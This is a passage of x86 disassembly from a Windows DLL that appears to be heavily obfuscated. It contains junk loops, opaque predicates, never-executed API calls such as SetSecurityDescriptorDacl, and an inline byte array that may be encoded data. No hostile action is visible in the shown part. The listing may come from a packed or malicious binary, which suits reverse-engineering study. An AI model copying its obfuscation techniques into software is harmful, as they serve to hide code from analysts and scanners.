jne 0x100408dc
cmp dword [ebp - 0x1c0], 0
jne 0x100408dc
and dword [ebp - 0xde4], 0
jmp 0x100408e6
mov dword [ebp - 0xde4], 1
mov eax, dword [ebp - 0x1c0]
add eax, dword [ebp - 0xde4]
cmp eax, 0x5613
je 0x10040905
mov dword [ebp - 0x6e8], 1
jmp 0x1004090c
and dword [ebp - 0x6e8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6e8]
mov dword [ebp + eax - 0x97c], ecx
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x6e8], eax
je 0x10040939
mov dword [ebp - 0x974], 1
jmp 0x10040940
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x1c0]
cmp eax, dword [ebp - 0x974]
je 0x1004095a
mov dword [ebp - 0xc6c], 1
jmp 0x10040961
and dword [ebp - 0xc6c], 0
cmp dword [ebp - 0xc6c], 0xffffffff
je 0x10040976
mov dword [ebp - 0x674], 1
jmp 0x1004097d
and dword [ebp - 0x674], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x674]
mov dword [ebp + eax - 0x1b00], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xefc]
add eax, dword [ebp - 0x674]
jne 0x100409bd
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x97c], 0
jne 0x100409bd
and dword [ebp - 0x734], 0
jmp 0x100409c7
mov dword [ebp - 0x734], 1
push 0
lea ecx, [ebp - 0x16a8]
call fcn.100267ee
mov ecx, dword [ebp - 0x734]
mov dword [eax], ecx
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x1040], eax
jmp 0x10040678
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x10040a05
call dword [sym.imp.USER32.dll_EndMenu]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16a8]
call fcn.100267d2
lea eax, [ebp - 0xfec]
push eax
lea ecx, [ebp - 0x1d94]
call fcn.1004ba27
mov dword [ebp - 0x13ec], eax
mov eax, dword [ebp - 0x13ec]
mov dword [ebp - 0x1048], eax
mov dword [ebp - 4], 0x14
mov edx, dword [ebp - 0xd44]
mov ecx, dword [ebp - 0x1048]
call fcn.1002a0e5
mov dword [0x1009a008], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d94]
call fcn.100266bd
mov dword [ebp - 0x15f8], 5
mov dword [ebp - 0x15f4], 5
mov dword [ebp - 0x15f0], 5
mov dword [ebp - 0x15ec], 5
lea ecx, [ebp - 0x72d]
call fcn.100267fd
push eax
lea eax, [ebp - 0x15e8]
push eax
lea eax, [ebp - 0x15f8]
push eax
lea ecx, [ebp - 0x1a60]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf4c]
call fcn.100267ac
mov dword [ebp - 4], 0x15
mov dword [ebp - 0xc74], 0
mov dword [ebp - 0x984], 0x6c12a7b0
mov dword [ebp - 0x1050], 1
mov dword [ebp - 0x14c0], 0
mov dword [ebp - 0x4fc], 0
jmp 0x10040b09
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 4
jge 0x10040b25
mov eax, dword [ebp - 0x4fc]
mov dword [ebp + eax*4 - 0x1a58], 1
jmp 0x10040afc
push 0
lea ecx, [ebp - 0xf4c]
call fcn.100267ee
and dword [eax], 0
jmp 0x10040b5b
push 0
lea ecx, [ebp - 0xf4c]
call fcn.100267ee
mov dword [ebp - 0xf30], eax
mov eax, dword [ebp - 0xf30]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xf30]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xf4c]
call fcn.100267ee
cmp dword [eax], 0xe
jg 0x10040e04
mov dword [ebp - 0x3dc], 0x1d832937
push 3
lea ecx, [ebp - 0x1528]
call fcn.10026750
mov byte [ebp - 4], 0x16
mov dword [ebp - 0xc7c], 0
mov dword [ebp - 0xea8], 0
mov dword [ebp - 0xcc], 0
jmp 0x10040bb9
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x10040bdb
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x1528]
call fcn.100267ee
mov dword [eax], 0xe7550730
jmp 0x10040bac
mov dword [ebp - 0xcc], 0
jmp 0x10040bf4
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 2
jge 0x10040c10
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x1560], 0xae7bf199
jmp 0x10040be7
mov byte [ebp - 0x196], 0
movzx eax, byte [ebp - 0x196]
test eax, eax
je 0x10040c2a
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
mov esi, dword [ebp - 0x3dc]
push 1
lea ecx, [ebp - 0xf4c]
call fcn.100267ee
imul esi, dword [eax]
test esi, esi
jne 0x10040ca3
mov eax, dword [ebp - 0xc74]
mov dword [ebp - 0x984], eax
cmp dword [ebp - 0x984], 0
jne 0x10040c6b
cmp dword [ebp - 0x3dc], 0
jne 0x10040c6b
and dword [ebp - 0x67c], 0
jmp 0x10040c75
mov dword [ebp - 0x67c], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x67c]
mov dword [ebp + eax - 0x1a58], ecx
cmp dword [ebp - 0x67c], 0
jne 0x10040ca3
mov eax, 0xeb2fc257
test eax, eax
jne 0x10040ca3
and dword [ebp - 0x98c], 0
jmp 0x10040cad
mov dword [ebp - 0x98c], 1
mov eax, dword [ebp - 0xc74]
cmp dword [ebp - 0x98c], eax
jg 0x10040cc7
mov dword [ebp - 0x6f0], 1
jmp 0x10040cce
and dword [ebp - 0x6f0], 0
push 1
lea ecx, [ebp - 0x1528]
call fcn.100267ee
mov ecx, dword [ebp - 0x6f0]
mov dword [eax], ecx
cmp dword [ebp - 0x6f0], 0
je 0x10040cff
push 2
pop eax
test eax, eax
je 0x10040cff
mov dword [ebp - 0x131c], 1
jmp 0x10040d06
and dword [ebp - 0x131c], 0
push 0
lea ecx, [ebp - 0xf4c]
call fcn.100267ee
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1560]
mov dword [ebp - 0x1798], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1050]
cmp dword [ebp + eax - 0x1560], ecx
jge 0x10040d47
mov dword [ebp - 0xdec], 1
jmp 0x10040d4e
and dword [ebp - 0xdec], 0
push 0
lea ecx, [ebp - 0xf4c]
call fcn.100267ee
mov ecx, dword [ebp - 0xdec]
cmp ecx, dword [eax]
je 0x10040d83
push 1
lea ecx, [ebp - 0x1528]
call fcn.100267ee
cmp dword [eax], 0
je 0x10040d83
mov dword [ebp - 0x994], 1
jmp 0x10040d8a
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0xc7c], eax
mov eax, dword [ebp - 0x3dc]
cmp dword [ebp - 0xc7c], eax
jne 0x10040db0
mov dword [ebp - 0x99c], 1
jmp 0x10040db7
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x99c]
mov dword [ebp - 0xea8], eax
mov eax, dword [ebp - 0xea8]
cmp dword [ebp - 0x3dc], eax
jne 0x10040ddd
mov dword [ebp - 0x9a4], 1
jmp 0x10040de4
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x14c0], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1528]
call fcn.100267d2
jmp 0x10040b37
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf4c]
call fcn.100267d2
and dword [ebp - 0x58c], 0
jmp 0x10040e29
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 0xe
jae 0x10040e42
mov eax, dword [ebp - 0x58c]
mov byte [ebp + eax - 0xfec], 0
jmp 0x10040e1c
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x3e4], 0
jmp 0x10040e65
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 3
jge 0x10040e81
mov eax, dword [ebp - 0x3e4]
mov dword [ebp + eax*4 - 0x1d64], 0xfffffffd
jmp 0x10040e58
mov dword [ebp - 0x504], 2
jmp 0x10040e9a
mov eax, dword [ebp - 0x504]
dec eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0
jl 0x10040ec6
mov dword [ebp - 0x179c], 0x696a485b
mov dword [ebp - 0xc84], 0x43beb716
mov eax, dword [ebp - 0xc84]
inc eax
mov dword [ebp - 0xc84], eax
jmp 0x10040e8d
mov byte [ebp - 0x29c], 0xb
mov byte [ebp - 0x29b], 0xd
mov byte [ebp - 0x29a], 6
mov byte [ebp - 0x299], 0x23
mov byte [ebp - 0x298], 1
mov byte [ebp - 0x297], 0x22
mov byte [ebp - 0x296], 0
mov byte [ebp - 0x295], 0x31
mov byte [ebp - 0x294], 9
mov byte [ebp - 0x293], 0x20
mov byte [ebp - 0x292], 0xc
mov byte [ebp - 0x291], 0x10
mov byte [ebp - 0x290], 7
mov byte [ebp - 0x28f], 1
mov byte [ebp - 0x28e], 3
mov byte [ebp - 0x28d], 0x13
mov byte [ebp - 0x28c], 2
mov byte [ebp - 0x28b], 4
mov byte [ebp - 0x28a], 0xd
mov byte [ebp - 0x289], 0x32
mov byte [ebp - 0x288], 8
mov byte [ebp - 0x287], 0x38
mov byte [ebp - 0x286], 5
mov byte [ebp - 0x285], 0xa
mov byte [ebp - 0x284], 4
mov byte [ebp - 0x283], 0x15
mov byte [ebp - 0x282], 0x9e
mov byte [ebp - 0x281], 0x26
mov byte [ebp - 0x280], 0x35
mov byte [ebp - 0x27f], 0xa
mov byte [ebp - 0x27e], 0
mov byte [ebp - 0x27d], 4
mov byte [ebp - 0x27c], 0x11
mov dword [ebp - 0x54], 0x6df251d6
mov dword [ebp - 0x1060], 0xfffffffd
mov dword [ebp - 0xef0], 0x2e580997
mov dword [ebp - 0x9ac], 0x7e0b
mov dword [ebp - 0x1324], 0x1000b950
cmp dword [ebp - 0x9ac], 0x8151
jle 0x1004108c
and dword [ebp - 0x3ec], 0
jmp 0x10041002
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0x5f14
jge 0x1004108c
and dword [ebp - 0x5d4], 0
jmp 0x10041024
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 0x1d27
jge 0x10041087
mov eax, dword [ebp - 0x3ec]
and eax, dword [ebp - 0x5d4]
cdq
mov dword [ebp - 0x112c], eax
mov dword [ebp - 0x1128], edx
push dword [ebp - 0x1128]
push dword [ebp - 0x112c]
lea ecx, [ebp - 0x1cbc]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x1058], eax
mov ecx, dword [ebp - 0x1058]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1cbc]
call fcn.1002640c
jmp 0x10041017
jmp 0x10040ff5
cmp dword [ebp - 0x9ac], 0x7cc5
jge 0x100410a4
push dword [ebp - 0x1324]
call fcn.10079103
pop ecx
mov dword [ebp - 0x94], 0
jmp 0x100410bd
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x100410d9
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xf70], 0xa53d
jmp 0x100410b0
mov dword [ebp - 0x94], 0
jmp 0x100410f2
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x1004110e
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x13f4], 0x661c4438
jmp 0x100410e5
mov dword [ebp - 0x54], 0
jmp 0x1004111e
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jg 0x100411a3
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0xf70]
mov dword [ebp - 0x17a4], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp + ecx*4 - 0xf70]
cmp dword [ebp + eax*4 - 0xf70], ecx
jge 0x10041156
mov dword [ebp - 0xdf4], 1
jmp 0x1004115d
and dword [ebp - 0xdf4], 0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xdf4]
sub ecx, dword [ebp + eax*4 - 0xf70]
imul eax, ecx, 0x810d
mov ecx, dword [ebp - 0x54]
cmp eax, dword [ebp + ecx*4 - 0xf70]
jl 0x1004118b
mov dword [ebp - 0x9b4], 1
jmp 0x10041192
and dword [ebp - 0x9b4], 0
mov eax, dword [ebp - 0x9b4]
mov dword [ebp - 0x1060], eax
jmp 0x10041117
cmp dword [ebp - 0x54], 0
je 0x100411b7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf70], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf70], 1
jle 0x100411d3
mov dword [ebp - 0xc8c], 1
jmp 0x100411da
and dword [ebp - 0xc8c], 0
cmp dword [ebp - 0xc8c], 3
jg 0x100411ef
mov dword [ebp - 0x9bc], 1
jmp 0x100411f6
and dword [ebp - 0x9bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x13f4]
mov ecx, dword [ebp - 0x9bc]
lea eax, [ecx + eax + 0xb6]
mov dword [ebp - 0xef0], eax
mov eax, dword [ebp - 0xef0]
sub eax, 0xfff8
jne 0x10041230
xor eax, eax
jne 0x10041230
and dword [ebp - 0x9c4], 0
jmp 0x1004123a
mov dword [ebp - 0x9c4], 1
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0x54], eax
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x29c]
or eax, 0x7e
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x29c]
and ecx, 0x7e
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x29c]
mov byte [ebp + ecx - 0x100c], al
mov dword [ebp - 0x200], 0
mov dword [ebp - 0xffc], 0xffff
mov dword [ebp - 0xff8], 0xffff
mov dword [ebp - 0xff4], 0xffff
mov dword [ebp - 0xff0], 0xffff
mov dword [ebp - 0xa04], 3
mov dword [ebp - 0xb4], 0xfffffffd
mov dword [ebp - 0x13fc], 0x60668021
mov dword [ebp - 0x3f4], 0
jmp 0x100412e5
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 1
jge 0x10041301
mov eax, dword [ebp - 0x3f4]
mov dword [ebp + eax*4 - 0xe04], 0xffffffff
jmp 0x100412d8
mov dword [ebp - 0x200], 0
jmp 0x1004131a
mov eax, dword [ebp - 0x200]
dec eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0xfffffff6
jge 0x1004193d
mov dword [ebp - 0x10], 0x4a9bacde
mov dword [ebp - 0x50c], 0
jmp 0x10041347
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 1
jge 0x10041363
mov eax, dword [ebp - 0x50c]
mov dword [ebp + eax*4 - 0x1334], 0xffffffff
jmp 0x1004133a
mov dword [ebp - 0xa24], 0x63
mov dword [ebp - 0x1088], 0x1000b9a0
cmp dword [ebp - 0xa24], 0x43d
jle 0x100413fb
and dword [ebp - 0x3fc], 0
jmp 0x10041399
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0x801a
jge 0x100413fb
and dword [ebp - 0x594], 0
jmp 0x100413bb
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 0x10c0
jge 0x100413f9
mov eax, dword [ebp - 0x3fc]
imul eax, dword [ebp - 0x594]
cdq
mov dword [ebp - 0x1138], eax
mov dword [ebp - 0x1134], edx
push dword [ebp - 0x1134]
push dword [ebp - 0x1138]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x100413ae
jmp 0x1004138c
cmp dword [ebp - 0x10], 0
jne 0x1004149f
mov eax, 0x8905b8b7
test eax, eax
je 0x10041452
cmp dword [ebp - 0x10], 0x90c6d21c
jb 0x10041423
mov dword [ebp - 0x684], 1
jmp 0x1004142a
and dword [ebp - 0x684], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x684]
mov dword [ebp + eax - 0xe04], ecx
cmp dword [ebp - 0x684], 1
jae 0x10041452
mov dword [ebp - 0xc94], 1
jmp 0x10041459
and dword [ebp - 0xc94], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xffc]
cmp eax, dword [ebp - 0xc94]
jg 0x1004147a
mov dword [ebp - 0x9cc], 1
jmp 0x10041481
and dword [ebp - 0x9cc], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xffc]
cmp dword [ebp - 0x9cc], eax
jle 0x1004149f
and dword [ebp - 0x1068], 0
jmp 0x100414a9
mov dword [ebp - 0x1068], 1
push 0xfffffffffffffffc
pop eax
cmp eax, 0xe11
jne 0x100414ce
mov eax, 0x96d4
test eax, eax
jne 0x100414ce
mov eax, 0xa3c3
test eax, eax
jne 0x100414ce
and dword [ebp - 0xdfc], 0
jmp 0x100414d8
mov dword [ebp - 0xdfc], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xffc]
cmp eax, dword [ebp - 0xdfc]
jl 0x100414ff
cmp dword [ebp - 0x10], 0
je 0x100414ff
mov dword [ebp - 0x132c], 1
jmp 0x10041506
and dword [ebp - 0x132c], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x17ac], eax
cmp dword [ebp - 0xa04], 0x3b1
jle 0x10041527
mov dword [ebp - 0x9d4], 1
jmp 0x1004152e
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x9d4], eax
je 0x100418cb
mov dword [ebp - 0x104], 0xdc6f
mov dword [ebp - 0x1648], 0x9388b32a
mov dword [ebp - 0x1644], 0x9388b32a
mov dword [ebp - 0x1640], 0x9388b32a
mov dword [ebp - 0x163c], 0x9388b32a
lea ecx, [ebp - 0x641]
call fcn.100267fd
push eax
lea eax, [ebp - 0x1638]
push eax
lea eax, [ebp - 0x1648]
push eax
lea ecx, [ebp - 0x1a78]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1730]
call fcn.100267ac
mov dword [ebp - 4], 0x17
cmp dword [ebp - 0x104], 0
jne 0x100415c0
mov dword [ebp - 0xa14], 1
jmp 0x100415c7
and dword [ebp - 0xa14], 0
cmp dword [ebp - 0x104], 0
je 0x1004167c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x17b4], eax
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x104]
jne 0x100415f7
cmp dword [ebp - 0x10], 0
jne 0x100415f7
and dword [ebp - 0xc9c], 0
jmp 0x10041601
mov dword [ebp - 0xc9c], 1
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xc9c], eax
jge 0x1004161b
mov dword [ebp - 0x9dc], 1
jmp 0x10041622
and dword [ebp - 0x9dc], 0
cmp dword [ebp - 0x9dc], 0xa83b
jne 0x1004163a
mov dword [ebp - 0x1070], 1
jmp 0x10041641
and dword [ebp - 0x1070], 0
mov eax, 0x19d7
test eax, eax
jne 0x1004165c
cmp dword [ebp - 0xb4], 0
jne 0x1004165c
and dword [ebp - 0xeb0], 0
jmp 0x10041666
mov dword [ebp - 0xeb0], 1
mov eax, dword [ebp - 0xeb0]
neg eax
je 0x1004167c
mov dword [ebp - 0x9e4], 1
jmp 0x10041683
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x9e4]
add eax, ecx
cmp eax, 0xdad2da0d
jne 0x100416a7
mov dword [ebp - 0xca4], 1
jmp 0x100416ae
and dword [ebp - 0xca4], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xca4], eax
jle 0x100416c8
mov dword [ebp - 0x9ec], 1
jmp 0x100416cf
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x9ec]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xe04]
jg 0x100416f4
mov dword [ebp - 0x9f4], 1
jmp 0x100416fb
and dword [ebp - 0x9f4], 0
imul eax, dword [ebp - 0x9f4], 0xfffe
test eax, eax
je 0x1004171b
cmp dword [ebp - 0x200], 0
jne 0x1004171b
and dword [ebp - 0xcac], 0
jmp 0x10041725
mov dword [ebp - 0xcac], 1
mov eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0xcac]
cmp eax, dword [ebp - 0x10]
jge 0x10041743
mov dword [ebp - 0x9fc], 1
jmp 0x1004174a
and dword [ebp - 0x9fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xffc]
imul eax, dword [ebp - 0x9fc]
cmp eax, dword [ebp - 0xb4]
jge 0x10041772
mov dword [ebp - 0xf40], 1
jmp 0x10041779
and dword [ebp - 0xf40], 0
cmp dword [ebp - 0xf40], 0x357240e6
je 0x10041791
mov dword [ebp - 0xb4], 0
jmp 0x100418e4
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jg 0x10041909
mov byte [ebp - 0x129], 0
movzx eax, byte [ebp - 0x129]
test eax, eax
je 0x10041907
push 0
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
jmp 0x100418d7
cmp dword [ebp - 0xa24], 0xfffffe27
jge 0x10041925
mov edx, dword [ebp - 0x1088]
mov ecx, 0x10094c18
call fcn.10029186
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xffc]
mov dword [ebp - 0x13fc], eax
jmp 0x1004130d
mov dword [ebp - 0x1c], 2
and dword [ebp - 0x228], 0
jmp 0x10041955
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x21
jae 0x10042e7e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x29c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x10042357
mov dword [ebp - 0xe14], 1
mov dword [ebp - 0x1c8], 1
mov dword [ebp - 0x14c4], 0xb64fda7e
mov dword [ebp - 0x6f8], 0xa3267e6
mov dword [ebp - 0xcc4], 0x3616
mov dword [ebp - 0x1094], 0x1000ba08
cmp dword [ebp - 0xcc4], 0x36d4
jle 0x10041a4d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
and dword [ebp - 0x404], 0
jmp 0x100419ec
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0x2684
jge 0x10041a4d
and dword [ebp - 0x514], 0
jmp 0x10041a0e
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0x7641
jge 0x10041a4b
mov eax, dword [ebp - 0x404]
sub eax, dword [ebp - 0x514]
cdq
mov dword [ebp - 0x1144], eax
mov dword [ebp - 0x1140], edx
push dword [ebp - 0x1140]
push dword [ebp - 0x1144]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x10041a01
jmp 0x100419df
mov dword [ebp - 0x68c], 0x207647f1
cmp dword [ebp - 0xcc4], 0x3405
jge 0x10041a73
mov edx, dword [ebp - 0x1094]
mov ecx, 0x10094c18
call fcn.10029186
mov dword [ebp - 0x728], 2
and dword [ebp - 0x1620], 0
and dword [ebp - 0x161c], 0
and dword [ebp - 0x1618], 0
and dword [ebp - 0x1614], 0
lea ecx, [ebp - 0x639]
call fcn.100267fd
push eax
lea eax, [ebp - 0x1610]
push eax
lea eax, [ebp - 0x1620]
push eax
lea ecx, [ebp - 0x1a90]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1740]
call fcn.100267ac
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x9c], 0
jmp 0x10041aee
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x10041b0a
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x133c], 0x2124
jmp 0x10041ae1
mov dword [ebp - 0x9c], 0
jmp 0x10041b23
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x10041b3f
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x1ce0], 0x58018d9d
jmp 0x10041b16
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x133c], 0
jne 0x10041c3e
push 1
lea ecx, [ebp - 0x1740]
call fcn.100267ee
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa2c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xa2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68c]
add eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c8]
sub eax, 0x5255dc81
cmp eax, 2
jg 0x10041ba5
mov dword [ebp - 0x10a0], 1
jmp 0x10041bac
and dword [ebp - 0x10a0], 0
mov dword [ebp - 0xe14], 5
mov eax, dword [ebp - 0xe14]
mov dword [ebp - 0x18f8], eax
mov eax, dword [ebp - 0x728]
cmp dword [ebp - 0x6f8], eax
je 0x10041bdc
mov dword [ebp - 0xa34], 1
jmp 0x10041be3
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0xa34]
mov dword [ebp - 0x728], eax
mov eax, dword [ebp - 0x728]
mov dword [ebp - 0x68c], eax
mov eax, dword [ebp - 0x68c]
add eax, 0x3f13f232
jns 0x10041c14
mov dword [ebp - 0xccc], 1
jmp 0x10041c1b
and dword [ebp - 0xccc], 0
mov eax, dword [ebp - 0x6f8]
imul eax, dword [ebp - 0xccc]
test eax, eax
jne 0x10041c3e
mov eax, 0xb83e
test eax, eax
jne 0x10041c3e
and dword [ebp - 0xa3c], 0
jmp 0x10041c48
mov dword [ebp - 0xa3c], 1
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0x14c4], eax
mov dword [ebp - 0x1c8], 0xffffffe3
jmp 0x10041c6d
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0xd
jge 0x10041c98
mov byte [ebp - 0x198], 0
movzx eax, byte [ebp - 0x198]
test eax, eax
je 0x10041c96
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
jmp 0x10041c60
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1740]
call fcn.100267d2
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x29c]
inc eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 0xc4], 1
mov dword [ebp - 0x1e8], 0x5f4b3f4b
push 4
lea ecx, [ebp - 0xf0c]
call fcn.10026750
mov dword [ebp - 4], 0x19
mov dword [ebp - 0xa6c], 9
mov dword [ebp - 0xe4c], 0xfffb
mov dword [ebp - 0x10c4], 0xed4d
mov dword [ebp - 0x40c], 0
jmp 0x10041d18
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 4
jge 0x10041d3a
push dword [ebp - 0x40c]
lea ecx, [ebp - 0xf0c]
call fcn.100267ee
mov dword [eax], 0x9097d93c
jmp 0x10041d0b
mov dword [ebp - 0xce4], 0x7982
mov dword [ebp - 0x1344], 0x1000ba4c
cmp dword [ebp - 0xce4], 0x7a71
jle 0x10041dd1
and dword [ebp - 0x61c], 0
jmp 0x10041d70
cmp dword [ebp - 0x61c], 0x93b
jge 0x10041dd1
mov dword [ebp - 0xc4], 0xc
jmp 0x10041dea
cmp dword [ebp - 0xc4], 0x1a
jne 0x1004209d
mov dword [ebp - 0xabc], 0x7302
mov dword [ebp - 0x10dc], 0x1000ba84
cmp dword [ebp - 0xabc], 0x7538
jle 0x1004241b
and dword [ebp - 0x424], 0
jmp 0x10042391
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0x25ea
jge 0x1004241b
and dword [ebp - 0x524], 0
jmp 0x100423b3
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0xe71
jge 0x10042416
mov eax, dword [ebp - 0x424]
or eax, dword [ebp - 0x524]
cdq
mov dword [ebp - 0x1168], eax
mov dword [ebp - 0x1164], edx
push dword [ebp - 0x1164]
push dword [ebp - 0x1168]
lea ecx, [ebp - 0x1b78]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x10d0], eax
mov ecx, dword [ebp - 0x10d0]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1b78]
call fcn.1002640c
jmp 0x100423a6
jmp 0x10042384
push 2
lea ecx, [ebp - 0x75c]
